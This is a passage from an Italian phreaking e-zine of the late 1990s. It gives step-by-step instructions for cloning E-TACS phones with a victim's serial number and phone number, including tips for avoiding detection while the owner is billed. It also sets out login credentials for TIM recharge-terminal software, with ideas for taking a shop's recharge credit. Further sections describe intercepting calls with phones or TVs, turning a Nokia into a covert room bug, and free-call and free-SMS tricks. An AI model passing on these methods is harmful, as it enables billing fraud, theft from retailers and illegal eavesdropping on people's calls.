Il terzo e ultimo sistema (che io conosca) e' il global satellitar system che adopera la tecnologia digitale utilizzando pero' come antenne di diffusione non le classiche celle ma i satelliti in orbita intorno al globo, garantendo una copertura TOTALE dell'intera terra, ma con costi altissimi di gestione e quindi di servizio. Non mi sono interessato granche' di questo servizio e non so fino a che punto ne valga la pena oggi visto che esistono pochissimi apparecchi in giro in grado di captare i segnali del satellite e quindi di usufruirne (esclusi i telefoni degli Aereoplani), ma comunque fregare questo sistema e' piu' facile di quanto si pensi (dopo vi svelero' il mio piccolo segreto!!).

Fine della prima parte...

SECONDA PARTE

Se avete chiuso tutto le finestre e vi siete un po' tranquillizzati iniziamo con la seconda parte che tratta di E-Tacs Cloning. Ho gia' detto prima che non e' possibile clonare un qualsiasi cellulare E-Tacs poiche' non possediamo l'algo (penso) che genera i Serial Number ai produttori di cellulari i quali poi li notificano alla Telecom.
Di conseguenza per poter clonarne uno dovrete possedere almeno un serial number di un cellulare ATTIVO (cioe' che ha un contratto o una Tim card ricaricabile ATTIVA) e il numero di telefono di quel cellulare. In pratica tutto quello che

dovete fare e' prendere un cellulare, sollevare la batteria, leggere il Serial Number che in genere e' accompagnato da un codice a barre, leggere il modello preciso del cellulare e infine appuntarsi anche il numero di telefono di quel cellulare.
Fatto questo, che e' la parte piu' difficile di tutto il processo ed e' anche quella che puo' causare piu' problemi dal punto di vista legale se non usate un vostro cellulare per questo esperimento, siete gia' al 50% del lavoro.
I modelli di cellulari esistenti oggi sul mercato sono moltissimi e non posso elencarli tutti, quindi partiro' dai modelli piu' diffusi, in particolare con il modello Ericsson EH237 che e' stao il primo cellulare che io abbia mai clonato.
Ora chiudetevi in una stanza soli, lontano da occhi indiscreti, portetevi una bella ragazza con voi (anche se non garantisco la riuscita del cloning in queste circostanze), oppure andate in Metropolitana o in P.zza Duomo a Milano, tanto nessuno notera' niente, e iniziate ad entrare nel "test mode" del vostro cellulare, cosi' potrete esplorare le funzioni nascoste e le opzioni impostate dal gestore telefonico della vostra zona.
Per riuscire a modificare il software di un cellulare (il quale poi non e' nient'altro che una aaprom riprogrammabile) in alcuni casi basta possedere i codici di riprogrammazione, mentre in altri casi bisogna "costruire" un cavo per interfacciare il Telefono cellulare con il vostro Personal Computer, dal quale poi lanceremo un programma di programmazione cellulare che variera' da modello a modello, ma che avra' sostanzialmente le stesse funzioni, cioe' riprogrammazione NAM.
Naturalmente il modo piu' semplice per riprogrammare un cellulare e' quello di utilizzare i codici di riprogrammazione segreti, ma spesso (soprattutto grazie ai nuovi sistemi di sicurezza degli stessi) diviene indispensabile costruire un cavo di interfaccia Parallelo-Piede del telefono armati di molta pazienza, cavi di rame, nastro isolante ed un paio di forbici.
Ma rieccoci al nostro EH 237, per iniziare PROCURATEVELO ;-) ma in caso di impossibilita' seguite bene i passaggi che vi proporro'. Innanzitutto spegnete il cellulare, togliete ogni tipo di blocco e riaccendetelo. Subito dopo averlo riacceso digitate il codice di riprogrammazione esatto:

FCN 923885 (or M 923885)
" 924885 "
" 904885 "
" 904005 "
" 904035 "
" 904085 "
FCN 904030 (il quale vi permettera' di clonare il cellulare 3 o 4 volte al massimo, quindi attenzione!!)
FCN 900000 (il quale invece vi chiedera' ben cinque codici PIN per ora sconosciuti).

Nota bene che il codice di riprogrammazione varia di cellulare in cellulare in base al software montato, per non avere problemi vi consiglio di provare prima i codici di riprogrammazione OGNUNO DA SOLO (spegnendo e riaccendendo il cellulare tra un codice ed un altro) UNO DOPO L'ALTRO (cioe' prima fcn 923885 poi se non accade niente fcn 924885 e cosi' via sino ad arrivare alla fine della sequenza) sino a quando non si entrera' nel test secret mode del cellulare.
Una volta inserito il codice si entra nel menu' del test mode che purtroppo varia non solo da modello a modello ma da software a software, per questo non troverete mai nulla di preciso su come sono strutturati i menu', ma potrete fare benissimo affidamento sulle vostre capacita' intuitive. Quello che dovrete fare e' in pratica riprogrammare il MIN ovvero i numero di identificazione (0337etc/0330etc), piu' precisamente entrare nel menu' del MIN, cancellare con il tasto C il vecchio e riscrivere il nuovo, riprogrammare il SN naturalmente con quello che ci siamo procurati, salvare le impostazioni e riavviare il cellulare. Fatto questo il vostro cellulare si dovrebbe comportare adesso come il cellulare che e' stato clonato, quindi dovrebbe squillare quando qualcuno fa

quel numero e addebbitare la chiamata su quel numero, naturalmente senza che il leggittimo proprietario se ne accorga. Le uniche cose a cui dovrete prestare attenzione sono:
1) non rispondere alle chiamate in entrata
2) non abusare del cellulare, perche' se al malcapitato dovesse arrivare una bolletta esuberante egli non solo si farebbe disdire il contratto, ma la Telecom aprirebbe un'indagine utilizzando come indizi i numeri chiamati da quel telefono, con conseguente rapida gattabuia.
E se quei codici non avessero funzionato?
In tal caso useremo il nostro bel Pc per clonare il nostro cellulare dovendo pero' costruire un cavo che colleghi il cellulare alla porta parallela dello stesso PC.
Ecco lo schema del cavo da costruire con relative istruzioni:

Parte bassa del telefono vista con la tastiera verso l'alto:

```
                 ^       ^ ^
o o o o o o o o o o o o o o o
                21      8 11
```

Dove 21, 8 e 11 rappresentano i numeri dei pins della "male 25-way d-plug", ovvero porta parallela che connette la vostra stampante al PC, ai quali vanno connessi rispettivamente il terzultimo, il quartultimo e l'ottavo pin del cellulare.
Naturalmente il modo piu' semplice di procurarsi un cavo del genere e' quello di trovare un vecchio caricatore oppure la presa accendisigari della macchina e modificarlo in modo da renderlo utile al nostro scopo, cioe' tagliando la presa accendisigari e collegando i tre cavi come segnato sopra da una parte e alla porta parallela al pin 21, 8 e 11 dall'altra. Per questo e' importante che il cavo che avrete scelto non sia uno stampato in plastica per quanto riguarda la presa, quelli cioe' che non si ossono modificare se non squagliandoli (come per es. quelli del PC), ma che sia un semplice cavo da telefono cellulare in modo da poter spostare i tre contatti dove ci interessa che siano.
Spero di essere stato abbastanza chiaro a riguardo, cmq sembra molto piu' difficile di quanto non lo sia in realta', ipoteticamente potreste anche prendere 3 cavetti minuscoli e fargli fare contatto a mano sui pin giusti, magari saldandoceli per un attimo, e infirarli nei buchini della presa parallela, ma vi garantisco che il primo metodo e' il piu' efficace.
Fatto questo lanciate il programma sul vostro pc, seguite le istruzioni e sara' facile come fumarsi un caxxone in un campo di Maxxxxana.
Ci sono delle voci in giro che dicono che i telefoni ericsson hanno una sicurezza che li disattiva dopo 40 volte o meno e li rende inutilizzabili.
Beh, io sono arrivato a vedere cellulari Ericsson riprogrammati per piu' di 30 senza problemi, ma non si sa mai......
State attenti e seguite le mie istruzioni e tutto dovrebbe andare bene, in questo caso vai all'inizio dell'articolo e leggi cosa penso dell'abuso di queste informazioni a danno proprio o altrui.
Nel prossimo numero tenteri' di fare altri 2 o 3 modelli tipo Motorola, Nec e altri, per ora mi interessava spiegarvi + o - di cosa si trattava.
Per i GSM e' tutto un altro discorso, ci arrivero' presto, e' ancora piu' semplice, ma e' un po' teorico.
A presto amici smanettoni di cellulari.
Se ne sapete piu' di me o credete che abbia scritto qualcosa di sbagliato o volete collaborare con me per proseguire la scoperta del digitale contattatemi all'indirizzo e-mail S0ftPj98@usa.net specificando che il msg e' destinato alla mia attenzione.

|PazzO| [S0ftPj98]

4.3 La SIM Card
di CDP

Una SIM card è una Smart-card, quindi ha un processore capace di eseguire un algoritmo di criptamento oltre ad avere della memoria. I codici IMSI e KI non lasceranno mai la SIM Card.

Il SIM (Subscriber Identity Modume) contiene:

- Identità Mobile Internazionale dell'utente (IMSI)
- Chiave di identificazione individuale dell'utente (Ki)
- Algoritmo per la generazione di chiave cifrata (A3), con Ki e RAND genera una chiave a 64 bit (Kc)
- Algoritmo di Verifica (A3), col Ki e RAND genera una risposta 'firmata' a 32 bit (SRED)
- Codice PIN utente (1 & 2)
- Codice PUK (1 & 2), detto anche SPIN
- Rubrica dell'utente
- Messaggi SMS salvati
- Lista delle reti preferite

Kc è ustao per criptare i dati tra MS e BS con l'algoritmo A5 che è contenuto nel telefono (può essere regolarmente modificato)
Quando la rete vuole verificare l'utente, un numero casuale a 128 bit (RAND) viene mandato alla SIM. Inviando il RAND e il Ki nell'algoritmo A£, viene generata la risposta 'firmata' a 32 bit (SRED) che viene reinviata alla rete per la verifica.
Una SIM card deve avere 6 connettori per interfacciarsi ad un GSM.

```
/--------------------\   PINOUT: 1: Vcc= 5v
|                    |           2: Reset
|      4 3 2 1       |           3: Clock
|      8 7 6 5       |           4: NC
|                    |           5: Gnd (Terra)
|                    |           6: Programming voltage
|                    |           7: Data I/O
|                    |           8: NC
|                    |
|                    |
| ISO SIMCARD |
\--------------------/
```

Qualche nota sui comandi SIM:

- A0 F2 00 00 19 (Read status) darà F2 + (25 bytes di dati)

1-4 Riservata
5 Identificatore tipo directory (3F= root/7F = altro)
6 Sub-identificatore (00= root / 01= applicazione)
7-12 riservate
13 Numero di byte che seguono (di solito 0C)
14-18 Riservata
19 PIN status (un piccolo nibble mostra il numero di tentativi rimanenti)
20 SPIN (PUK) status (come sopra)
21-25 riservata

il numero di tentativi di default è 3 per il PIN e 10 per il PUK

- A0 20 00 08 (Verify PIN) seguito da un pin di8 digit (1234= 31 32 33 34 FF FF FF FF)

darà:

90 00 Fine normale
6B 00 P1/P2 sbagliato
67 08 P3 Sbagliato
98 08 Contraddizione col PIN Status

98 04 Codice segreto errato
98 40 Codice segreto errato - Istruzione bloccata!
92 0x Aggiornamento avvenuto dopo x tentativi
92 40 Aggiornamento impossibile (EPROM della scheda difettosa)

- A0 A4 (select)

- A0 B0 (Read Binary)

4.4 Funzionamento di un centro ricariche Timmy

DISCLAIMER :
Non sono responsabile, non so niente, non ho visto niente, non mi rompete i coglioni, non lo ho scritto io etc.......
Ci siamo capiti !!!!! :-)

Allora, eccomi qui ad illustrare il funzionamento dei Centri Tim e piu' in particolare la questione della ricarica dei Timmy.

I Centri TIM, per poter effettuare tutte le procedure necessarie alla registrazione dei contratti e alla ricarica, si collegano via Modem ad un computer centrale della TIM con cui scambiano dati, informazioni, foto porno ehm, vabbe' ci siamo capiti.

Il collegamento viene effettuato con PC montanti (ah siih... :-)) Windows 3.1 e il software dei nostri sogni: Point of Sale v2.X (dove X e' 3 o 6, la versione cambia a seconda del menu' in cui siete, penso che questo bug, chiamiamolo cosi', sia dovuto ad un attacco di pazzia del programmatore), altrimenti detto anche SID (non conosco il significato della sigla); parliamo un attimo del collegamento:

- Connessione a 14400
- Connessione di tipo PPP (cosi' riporta il sw di collegamento gia' incluso nel PoS, sembrerebbe che venga usato anche un driver FTP ma non ci giuro)
- Connessione su un bel green: 167-295XX3 (Vi piacerebbe sapere il numero, eh, e invece vi lascio come compito a casa, un sano wardialing x trovarlo!)
(Tale numero se non erro dovrebbe avere 2 nodi: Trieste e Roma)

Una volta connessi parte una serie di autenticazioni, che x quanto ho visto sono strutturate su tre livelli:

1- Autenticazione iniziale (come riportato dal log della connessione del sw di collegamento col modem) cioe' mi spiego esce 'na roba tipo questa:

ATX3DT167295XX3
Connesso a 14400 LAPCM
VERIFICA DEI DATI DELLA POSTAZIONE IN CORSO
Autenticazione effettuata

Di questa autenticazione non so come possa funzionare, presumo che sia qcosa a livello o hardware oppure qcosa sull' HD tipo serial (quindi cazzuta).

2- Autenticazione Intermedia: questa avviene a collegamento effettuato gia' all'interno del sw PoS ed ho scoperto che login e password sono rispettivamente OPERATORE e TELECOM2 (penso potrebbero andare anche TELECOM1 o TELECOM, non so, e dovrebbe essere "NON CASE SENSITIVE").

3- Autenticazione finale, o del punto vendita: qui il punto vendita mette il suo login e pwd ed infatti una volta connessi nel PoS si vede il nome del negozio.

Per questo motivo quindi si puo' capire che si rischia di inculare il negozio e non tanto la TIM, anche perche' la ricarica, cosa che interessa maggiormente, avviene in questo modo:

Il Centro TIM XYZ chiede alla TIM di "caricare" sul suo account x es. 200 ricariche da 50karte, che poi vanno a scalare durante l'utilizzo, quindi se x es. noi entrassimo con l/p del negozio XYZ gli fottiamo delle ricariche e inculiamo lui, non la TIM (Se volete fate pure voi disquisizioni del tipo "il punto vendita non c'entra", "meglio lui che noi, tanto sono pieni di soldi", "tua mamma e' una X)("!H£"!/)" etc...).

Osservazione MOLTO IMPORTANTE: da quello che ho scoperto posso dire queste tre cose che rendono un hack molto piu' difficile (come se gia' non lo fosse):

- LE DOPPIE ENTRATE VENGONO SEGNALATE: se qualcuno e' gia' dentro con login A e pwd B e un altro cerca di entrare con le stesse il terminale segnala a quest'ultimo che "l'allocazione e' gia' stata effettuata" (o 'na cosa simile) e quindi non riesce ad entrare.

- LA LINEA NON E' ATTIVA TUTTO IL GIORNO ma viene attivata solo negli orari di apertura dei negozi quindi scordatevi di collegarvi alle 2 di notte per evitare la doppia entrata, penso che la disattivino alle 21 (o forse cambia a seconda del negozio e di quanto sta aperto).

Mi viene inoltre segnalato da un membro del gruppo S0ftProject che:

- LA LINEA NON E' ATTIVA DURANTE TUTTO L'ANNO o forse intende NON FUNZIONA TUTTI I GIORNI (tipo a Natale penso che non vi permettano di accedere).

Una volta collegati ci si trova in un bel menu' con servizio prepagato, contratti e tutto quello che volete; la ricarica funziona in modo molto semplice (non ricordo l'ordine esatto):

- Si inserisce numero di telefono da ricaricare.

- Si inseriscono i dati di chi ricarica (non e' assolutamente necessario che corrispondano con l'intestatario del numero) cioe' codice fiscale e se e' gia' presente tra le persone che hanno ricaricato escono gia' i dati della persona altrimenti vengono chiesti nome, cognome.... vabbe' cque un lavoro da GenerID v2.2 :-))

-Si sceglie quanto ricaricare

FATTO !!!

P.S.: Non bisogna inserire nessuno codice segreto, PIN, PUK o salcazzo cosa altro, basta il numero infatti se x caso l'operatore sbaglia e ricarica il telefono sbagliato, sono solo cazzi dell'utente (non puo' essere neanche rimborsato ed e' alquanto difficile risalire a colui cui e' stato ricaricato per sbaglio); per questo apro una parentesi:

PROPRIO PER QUESTO MOTIVO, RITENGO CHE SE IO RICARICO IL TELEFONO A GIACOMINO FACENDOGLI PAGARE UN PO' DI MENO, E LA TIM GLI ROMPE I COGLIONI (COSA DIFFICILE TRANNE SE SI ACCORGE CHE E' STATO FATTO ILLEGALMENTE) LUI PUO' BENISSIMO DIRE: "CHE CAZZO VOLETE DA ME, NON MI ROMPETE I COGLIONI, AVRETE FATTO UNO SBAGLIO VOI O QUALCHE DEFICIENTE HA RICARICATO IL MIO TELEFONINO AL POSTO DEL SUO, ANDATE A CAGARE BASTARDI RINCOGLIONITI !!!"

O magari anche con parole piu' delicate, comunque ho reso l'idea.

Ora vi allego qui sotto le considerazioni di un amico che ha provato via

centralina meccanica una "penetratio" del green, troverete anche alcuni
miei commenti con c:\cavallo> prima :-)

===
=
THE PERFECT PHREAKER
----
step one: trying to access on a telecom server, chapter 1
ovvero come farsi beccare e finire in galera..... (speriamo di no)

In data XXXXX tentavo di collegarmi al numero ricevuto dal cielo e constatavo
con (non ti dico quanta) sorpresa che il terminale, una volta in carrier
detect, non fa semplicemente un cazzo.
Se ne sta zitto, non ti dice niente, non comunica nulla e sulla linea c'e' SOLO
ED ESCLUSIVAMENTE la portante (la portante e' quella forma d'onda che viene
modulata sulla linea e che serve per "portare" (cazzo, strano!) i segnali veri
e propri e che mantiene il collegamento anche senza l'invio di dati.)
Praticamente e' in modo originate e non in answer, almeno suppongo.
E' come se ti stesse chiamando lui.
Procedendo ai tentativi piu' svariati, ho constatato che:

Il server se ne sta in attesa, aspettando "qualcosa", magari il seriale
tanto nominato, oppure aspetta di sapere che tipo di terminale si sta
collegando (magari e' usato anche da altre aziende per altre cose, non so)
con i soliti enter doppio space, ed esc, ti sconnette.
Solo enter o solo esc ti sconnette.
Pero' ti fa scrivere quello che vuoi, chiaramente non restituisce l'echo
dei caratteri, e quando dai l'invio ti sconnette probabilente per la pass
sbagliata od il seriale scazzato.

Riassumendo:
IL TERMINALE, PUR NON COMUNICANDOTELO, VUOLE UNA PASSWORD O UNO USERID
OPPURE
NECESSITA DI SAPERE CHI E' DALLA'ALTRA PARTE.

Per la serie "gli esempi del cazzo" eccoti il paragone:

Immagina di essere un informatore e di dover comunicare informazioni riservate
ad un altro tizio del cazzo.
Sicuramente non andrai in giro a dire "Oh, io devo dire un'informazione
riservata!, c'e' mica il tizio che cerco?? ehi?? mi sentite??"

Te ne staresti zitto, e aspetteresti che il tizio ti venga a dire "SONO IO,
DIMMI TUTTO".
Questo e' quello che fa il server laggiu' alla telecom.

Ma come stracazzo fare per sapere COSA vuole, quante pass, quanti id,
1 alla volta? 2 alla volta? boh? un brute force potrebbe essere l'unica cosa,
ma su quali basi compilare la sorgente per le pw?
In che ordine fornirle?
Non credo che siano solo robe come admin, root, sysop, etc.., ma robe come
9255ui5gilojh5giu5gpi32u5gk32jhvrljehfbvd9pc7t\
(per il seriale della postazione, si intende).
Con un server che ti prende per il culo e ti riattacca in faccia appena
scazzi, e' un'impresa.

Mi sa che si ritorna al seriale della "postazione", l'unica cosa che forse,
neanche i dealers possono (anche volendo) vedere!!!!!!!!!!!!
CREDO CHE LO POSSA CONFIGURARE SOLO L'ASSISTENZA

Infatti ieri stavo pensando che la telecom non puo' essere cosi' stupida
da non considerare che su 300 (ipotizziamo) centri di ricariche in italia,
almeno 1 abbia un'operatore che ne puo' capire qualcosina di hacking e
phreaking..

Allora, diciamo che si siano prevenuti, e si siano attrezzati:
Io avrei scelto i modi piu' sicuri per farlo:
1- Farsi un software fuori standard.
2- Utilizzare per l'invio e la ricezione due protocolli diversi: ppp / ftp .
Gestire l'invio dei dati in maniera complessa: (l'ftp di cui parlavi, credo
serva proprio per questo) loro si collegano, il software inizia la
negoziazione, senza il sw la connessione non prosegue nemmeno.
Una volta connessi il server resta in attesa dei dati che vengono poi spediti
in FTP! Poi aperti, elaborati etc.. e roba varia..
Quindi bisogna pensare ad una vera e propria DOPPIA connessione
PPP-TCP/IP,FTP!
E a questo punto, io direi MEEEERDDDDA.

3- E NON MENO IMPORTANTE, LA STORIA DI "VERIFICA DEI DATI DELLA POSTAZIONE
IN CORSO" MI FA VENIRE IN MENTE QUALCOSINA... HAI PRESENTE UN BEL TRACE
FATTO PERBENINO CHE SE IL NUMERO TELEFONICO NON E' QUELLO DEL CENTRO TIM
"DA GINO" NON TI ABILITA???

c:\cavallo> Secondo me questa e' 'na cosa un po' esagerata, non arriviamo a
livelli X-Files, forse puo' essere pero' una cosa simile ai servizi fax on
demand, il centro TIM inserita la password viene poi automaticamente
richiamato dal server che stabilisce la comunicazione.

P.S.:
LE INFO NON VENGONO INVIATE IN TEMPO REALE PERCHE' QUANDO HANNO FINITO DI
INSERIRE I DATI, TI CHIEDONO "TUTTO A POSTO, VADO?" E PREMONO IL
PULSANTE PER INVIARE...

c:\cavallo> Questa e' una cazzata, i dati vengono si' inviati in tempo reale
anche perche' x esempio quando metti il codice fiscale il terminale si mette
a lavorare e dopo un po' ti restituisce i dati della persona (se presente)
presi dal database di Sorella TIM.

Non ho mai visto un server ftp che richiede 2 pw. quando hai l'accesso
root, o ce l'hai o non ce l'hai E SERVE UNA SOLA PW.

c:\cavallo> Fino a qui ci arrivo anche io, ma chi ci dice che e' un vero
ftp? potrebbe, anzi sicuramente e', essere un sw dedicato!!

Quindi e' ipotizzabile:
una connessione tcp/ip "rigirata" (difficile connettersi, perche' tutti pensano
che il server non risponda e invece devi essere tu a farlo, sono configurazioni
che pochi si ricordano, ormai lo standard le ha cancellate..), cioe' tu in modo
answer e lui in originate (sono delle configurazioni dei modem), con una
autenticazione di sw, numero tel. (cazzo!) e poi di user.

Il server poi potrebbe comunicare al software (eventualmente) l'algoritmo "del
giorno" (piu' sicuro cambiarlo una volta al giorno) per quanto riguarda
l'impacchettamento dei dati rigurardanti l'utente.

Poi, effettuato l'inserimento, il sw fa un calcolino secondo il suddetto
algoritmo, richiede di poter inviare, il terminale "devia" in ftp e invia il
tutto al server (mooolto complesso).

Il server lo apre, (tipo un mailer door) lo elabora e ti accredita il tutto.

Questa elaborazione, etc.. spiega il leggero ritardo di accredito.

===
=

E' Tutto, carissimi compari, fate buon uso di queste infos.

L'uomo chiamato Cavallo

P.S.: Evitate di Postare questo articolo sui NewsGroup.

Cavallo De Cavallis [S0ftPj98]

4.5 Trucchettini e curiosità varie

In questa sezione raccogliamo tutti i trucchettini che ci mandate

4.5.1 Trasformare un Etacs in uno scanner

E' una cosa semplicissima intercettare chiamate di etacs dato il fatto che i segnali radio dell'etacs non hanno alcun tipo di decodifica. Il miglior modo per farlo è usare uno scanner ma anche un telefonino va piu' che bene. Ogni telefonino infatti è un potenziale scanner visto che ha al suo interno una ricetrasmittente sui 900 Mhz. Ora basta bypassare le funzioni standards del telefono per utilizzare questa ricetrasmittente come ci pare. Io , avendo il motorola , so come fare solo su questo telefonino ma sicuramente anche con altri è possibile fare cose del genere. Ecco le istruzioni da seguire se avete un motorola etacs

Aprire la batteria e verificare che ci siano tre contatti sul telefono e che il contatto centrale sia leggermente un po' piu' abbassato degli altri due esterni.

Verificato cio' mettete un pezzettino di stagnola sul contatto centrale e quindi reinserite la batteria.

Riaccendete il telefono e no panik! Il vostro teleofnino comincera' a scrivere strani numeri sul display , ora è entrato in Test-mode! Premete cancelletto e vedrete la scritta Tac5 sul display. Poi scrivete 08 e quindi di nuovo cancelletto.

Il vostro telefonino si è trasformato quindi in uno scanner! Scrivete un canale radio compreso entro 1101 e 1199 e premete cancelletto una volta finito di scrivere il canale e potrete sentire tutte le telefonate che vengono fatte nella cella in cui vi trovate! ES: per ascoltare le chiamate che vengono fatta nel canale 1120 dovrete digitare 1120#.

4.5.2 Le ultime 1000 lire
di Chatrobot

Se siete rimasti con sole mille lire nella scheda del vostro ricaricabile fate l'ultima telefonata e potrete parlare anche per cinquanta ore!!

4.5.3 Segreterie comunque
di Chatrobot

La tua fidanzata lascia il telefonino staccato senza segreteria telefonica e tu stai provando da 3 ore a chiamarla senza successo? O vuoi semplicemente riempire la segreteria telefonica del cellulare di un tuo conoscente con spernacchiate varie, ma non ha la segreteria abilitata?
Ebbene, puoi mandare messaggi alle segreterie telefoniche degli utenti GSM - anche se non hanno abilitato il servizio -.
Come? Il principio e' in realta' semplicissimo.
L'abilitazione della segreteria telefonica cellulare in realta' non e' altro che una deviazione delle chiamate in arrivo verso un secondo numero, molto simile al proprio numero di telefono.

Chiamata ---> Numero 1 ---> Numero 2

(Cellulare) (Segreteria)

Dunque, se con un altro cellulare GSM chiamiamo DIRETTAMENTE il secondo numero, quello della segreteria, potremo accedere al servizio, anche se l'utente non ha attivato la deviazione chiamate verso quell'altro numero! Quando l'utente accendera' il cellulare, ricevera' un messaggio SMS che lo avvertira' della presenza di un certo numero di messaggi nella segreteria.
Ecco a quali numeri telefonare:

Per i cellulari TIM:
Prefisso / 55 / Numero

Per i cellulari OMNITEL:
Prefisso / 20 / Numero

4.5.4 Trucchi col trasferimento Omnitel
di Telecomico

con le carte ricaricarbili omnitel chi setta il trasferimento di chiamata non lo paga.
Quindi si puo' utilizzare accoppiato ad un abbonamento con you & me rifemento quella ricaricabile (non so se e' ancora possibile fare you & me con ricaricabili), puoi chiamare chiunque a tariffa bassa!
fino a mesi fa si'.. non io personalemnte... comunque il trasferimento gratuito l'ho verificato di
persona...
alcuni dicono che se ne abusi allora te lo fanno pagare... boh...

4.5.5 Rendere ricaricabili i Nec p7 a sbafo!
di Space Navigator

Un modo per rendere i Nec p7 ricaricabili senza pagare i centri di assistenza (lo so, non c'entra niente con la Telecom, ma almeno puo' essere considerato un po' phreaking....):Accendi il telefono e digiti ...

*26041969# F MR 76 MR # 01 MR # 71

adesso sei entrato nel NAM-1 ovvero nella programmazione della linea N.1, (il NEC supporta 4 linee telefoniche sullo stesso telefono, Tim ovviamente no).Puoi scorrere i vari settaggi premendo il tasto #.
Quando arrivi alla voce EMERGENZA * al posto dei tre * inserisci il munero 314 e continui con #, ti si attiva una voce supplementare Cambio-PIN, la setti a SI e completi il giro con #.**
Per memorizzare il tutto esci con C prolungato che ti riporta in TEST-MODE e esci con MR # 02.
Adesso battendo F6 + il tuo numero di blocco ti si e' attivato il sottomenu 6xxxx8 dove chi autentica il telefono inserira' il numerone a16 cifre.
ATTENZIONE: TUTTI i NEC P7 hanno questa procedura, ANCHE QUELLI CHE NON E' POSSIBILE CONVERTIRE A RICARICABILI per un bug software.

4.5.6 Bug Ericsson 688

di Scanman

questo dovrebbe essere un trucco per chiamare gratis (se il network gsm lo consente - credo che sia un bug)

Chiama un numero, aspetta finchè "connecting" appare scritto sul display poi premi: CLR, 0, #,
(a questo punto appare la parola 'auto sul display)
poi NO e poi di nuovo NO (per spegnere il telefonino)

E vedrai che così il telefono sarà spento ma la luce verde sarà ancora accesa e che potrai parlare nonostante il telefono sia spento.
Per spegnere il telefono dovrai togliere la batteria.

4.5.7 Bug del Motorola 7500

Prendete un telefono cellulare MOTOROLA 7500 e alzate il volume dello squillo e della ricezione al max, poi tramite le funzioni del menu' disattivate lo squillo del telefono......a questo punto con un
normale telefono di casa o un telefono di una cabina chiamate il numero del MOTOROLA 7500 (mi raccomando non rispondete con il MOTOROLA !!! fatelo squillare liberamente !!) mentre il telefono con cui stiamo chiamando il cellulare emette il segnale di libero, provate a parlare normalmente....sul motorola (che indica sul display lo squillo....mi raccomando non aprite lo sportellino) si sente pari pari la voce della persona all'altro capo !!! Naturalmente nessun addebito in merito...visto che il telefonino non viene aperto....quindi e' possibile parlare in una direzione in modo gratuito... Questo trucco funziona su tutti i motorola 7500 che io ho provato.....e su alcuni 7200, sul 8700 no.....

4.5.8 Cellulari in TV

di Ulixes

Allora, da qualche parte dovrò pur cominciare......
Ho trovato un interessante falla per ascoltare su normali vecchi televisori manuali le chiamate dei telefoni cellulari. I canali TV UHF 70-83 sono quelli su cui bisognerà sintonizzare il TV per poter origliare.
La sensività non è delle migliori, tranne se non si è in città o in luoghi sensibili a quelle comunicazioni.

PS non se se ciò che è stato descritto è illegale o meno, ma vi assicuro che funziona alla meraviglia.

4.5.9 SMS Gratis

di Pietro

Provate ad impostare come SMSC +4792001000 (Netcom) ed ad inviare un SMS verso un utente TIM.Risultato: su alcuni numeri (il mio per esempio, ho la Tim Card!) dopo circa 30 secondi viene fuori "Messaggio non inviato" ... ma il messaggio ha già raggiunto il

destinatario ed io non ho pagato una lira!N.B: Da TIM CARD mia a numeri TIM = OK, da mio Libero a numeri TIM = OK ma non da quello della mia ragazza, lì dice subito "Messaggio non inviato" e non arriva nulla.Fate qualche prova e fatemi sapere.

4.5.10 SMS e bug OPI

di Blum

<u>SMS</u>
Sembra che usando il +491722270300 per spedire SMS non si spenda niente, però non ne sono assolutamente certo. Inoltre sembra che con alcune schede funzioni tipo la Personal 195 e con altre no tipo la Personal City

<u>BUG OPI</u>
Se si ha una una scheda prepagata OPI e si arriva a 0 lire di credito sembra che ti permetta comunque di spedire SMS chiaramente a sbaffo (credo comunque un massimo di 10 dopo di che tenta di fare l'addebito e dovrebbe disabilitare la scheda)

4.5.11 Chiamare gratis con gli Ericsson

di CDP

Utilizzando una scheda prepagata GSM OMNITEL (con TIM gli scatti vengono conteggiati... occhio!) ed un telefono Ericsson è possibile, a quanto pare, chiamare a scrocco, almeno fino a quando non vi bloccheranno la SIM (ragionevolmente dopo una settimana di uso intenso del trucco, anche se conosco gente che ha scroccato per anche 2 settimane).
Ericsson GH688

Chiama un numero, aspetta finchè "connecting" appare scritto sul display poi premi:
CLR,
0,
#, (a questo punto appare la parola 'auto sul display)
poi NO e poi di nuovo NO (per spegnere il telefonino)

E vedrai che così il telefono sarà spento ma la luce verde sarà ancora accesa e che potrai parlare nonostante il telefono sia spento.
Per spegnere il telefono dovrai togliere la batteria.
Sui nuovi modelli bisogna tenere premuto NO senza lasciarlo (la seconda volta) altrimenti il cello si spegne.
Ericsson Gf788e
Comporre il numero poi subito:
CLR,
NO
e poi NO tenendolo premuto.
Per il GF 788 dovrebbe funzionare quello del Gh688.
Ericsson GA628
Comporre il numero e poi:

CLR,
NO fino a spegnere il telefono.
Nei vecchi telefoni il NO può essere rilasciato mentre per i nuovi bisogna tenerlo premuto.

4.5.12 5110/6110 Spione

di Blum

Cortocircuita i pin 3 e 4 di un Nokia 5110 o 6110, ti apparirà la scritta "con auricolare". Imposta la suoneria a NO e risposta automatica a SI.
Hai cosi' ottenuto un apparecchio che, in automatico e silenziosamente, risponderà alle tue chiamate, a ti invierà quello che "sente" nell'ambiente.....

Disegno dei pin di un 5110

tastiera

```
____________________
|                    |
|    1 O 2           |
| x3456789x          |
|____________________|
```

batteria

4.5.13 Possibile bug 8700

di Blum

Tramite un procedura semplice si può conoscere il codice blocco del telefono. Quando appare la scritta Cod Blocco basta premere Menu, andare in cambio codice blocco e digitare 0000.
Ecco tutto.

4.6 Codici segreti di cellulari GSM

Questa sezione raccoglie tutti i codici segreti per intervenire sulle impostazioni avanzate dei cellulari GSM divisi per casa di produzione. Tutti i codici sono stati estratti da Mobileworld e da altri siti, e tradotti da CDP.

4.6.1 Alcatel

Alcatel One Touch Easy

Scrivere 000000 e premere *
Appare: Secret Menu
TRACES Menù idicatori canale
ARRETS - ?
VIDER ARRETS Premere OK e il telefono risponde: This action is executed!
CTRL CHARGE Mostra il voltaggio del caricabatterie e della batteria.
DAMIER Mostra test
Il Master Code per il "MENU code" e il "Prod. code" dell' Alcatel One Touch Easy è 25228353.
So che V13 e V14 vengono mostrati alla fine di *#06#. Nellla versione V13, una novità è che viene mostrata una "-" alla fine della linea del display per le parole lunghe.

Alcatel Mobile Phones

Molti di questi telefoni hanno l'SP lock, possono cioè essere usati solo con certi fornitori di servizio. Questa funzione può essere disattivata solo chiedendo il codice speciale all'Alcatel stessa o al fornitore del servizio (TIM o OMNITEL in Italia). Si dice che esiste un programma che permette di risalire a questo codice a partire dall'IMEI. Questa notizia non è verificata.
IMEI 3300 1453 1139 420
Se attivato con una scheda TELSTRA, il telefono si avvia con un:
"PRODUCT CODE"
